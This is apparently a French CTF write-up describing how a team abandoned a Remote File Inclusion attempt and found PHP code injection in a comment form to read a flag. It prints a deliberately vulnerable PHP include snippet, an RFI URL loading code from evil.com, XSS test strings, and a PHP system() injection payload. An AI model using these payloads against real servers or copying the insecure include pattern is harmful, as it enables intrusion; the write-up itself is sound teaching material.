Salut à tous ! Aujourd’hui, on vous partage une expérience qui nous a fait perdre une semaine sur un CTF. L’indice ***include*** nous a orientés sur une fausse piste, et il a fallu repenser toute notre approche pour enfin trouver la faille. Voici comment on a procédé !
Étape 1 : Énumération des pages
La première chose que nous avons faite a été une énumération des pages du site cible. Cela nous a permis de découvrir plusieurs fichiers intéressants :
- 📄 Une page de connexion (`login.php`).
- 📝 Un formulaire de commentaire (`comment.php`).
- 📂 Une page contenant une inclusion de fichiers (`index.php?page=...`).
Le lien entre include et RFI
En PHP, la fonction include permet d'insérer un fichier dans une autre page. Cette inclusion peut être :
- Locale (LFI - Local File Inclusion) : inclusion d'un fichier du serveur.
- Distant (RFI - Remote File Inclusion) : inclusion d'un fichier externe via une URL.
Si l’entrée utilisateur est mal filtrée, un attaquant peut manipuler le paramètre d’include pour exécuter du code malveillant.
Exemple d’une mauvaise utilisation de include :
<?php $page = $_GET['page']; include($page); ?>
Si le serveur autorise les fichiers distants, un attaquant peut injecter une URL malveillante :
site.com/index.php?page=http://evil.com/malware.txt
Ce qui exécuterait le contenu du fichier distant comme du PHP.
Pourquoi la RFI n’a pas fonctionné dans notre cas ?
Nous avons testé cette injection :
site.com/index.php?page=http://evil.com/malware.txt
Mais nous avons reçu une erreur "Gateway Expired", ce qui signifie que :
- ✅ Les connexions vers des fichiers externes étaient bloquées.
- ✅ La fonction
allow_url_include
était désactivée.
Nous avons donc compris que ce n’était pas une vraie RFI.
Détection de l’injection de code PHP
Ne trouvant rien du côté de l’include, nous avons décidé de tester l’injection de code dans le formulaire de commentaire.
Nous avons d’abord essayé du HTML :
<h1>Test</h1>
Mais le serveur a échappé les balises.
Puis, nous avons tenté une injection JavaScript :
<script>alert("XSS")</script>
Mais rien ne s'est passé.
Découverte de l’injection PHP
À force d’essayer, nous avons soumis un simple test en PHP :
<?php echo "test"; ?>
Et surprise, le serveur a interprété le code PHP ! Cela confirmait une faille d’exécution de code (RCE).
Exploitation et récupération du flag
Nous avons alors exécuté une commande système :
<?php system('cat /flag.txt'); ?>
Bingo ! Le flag est apparu.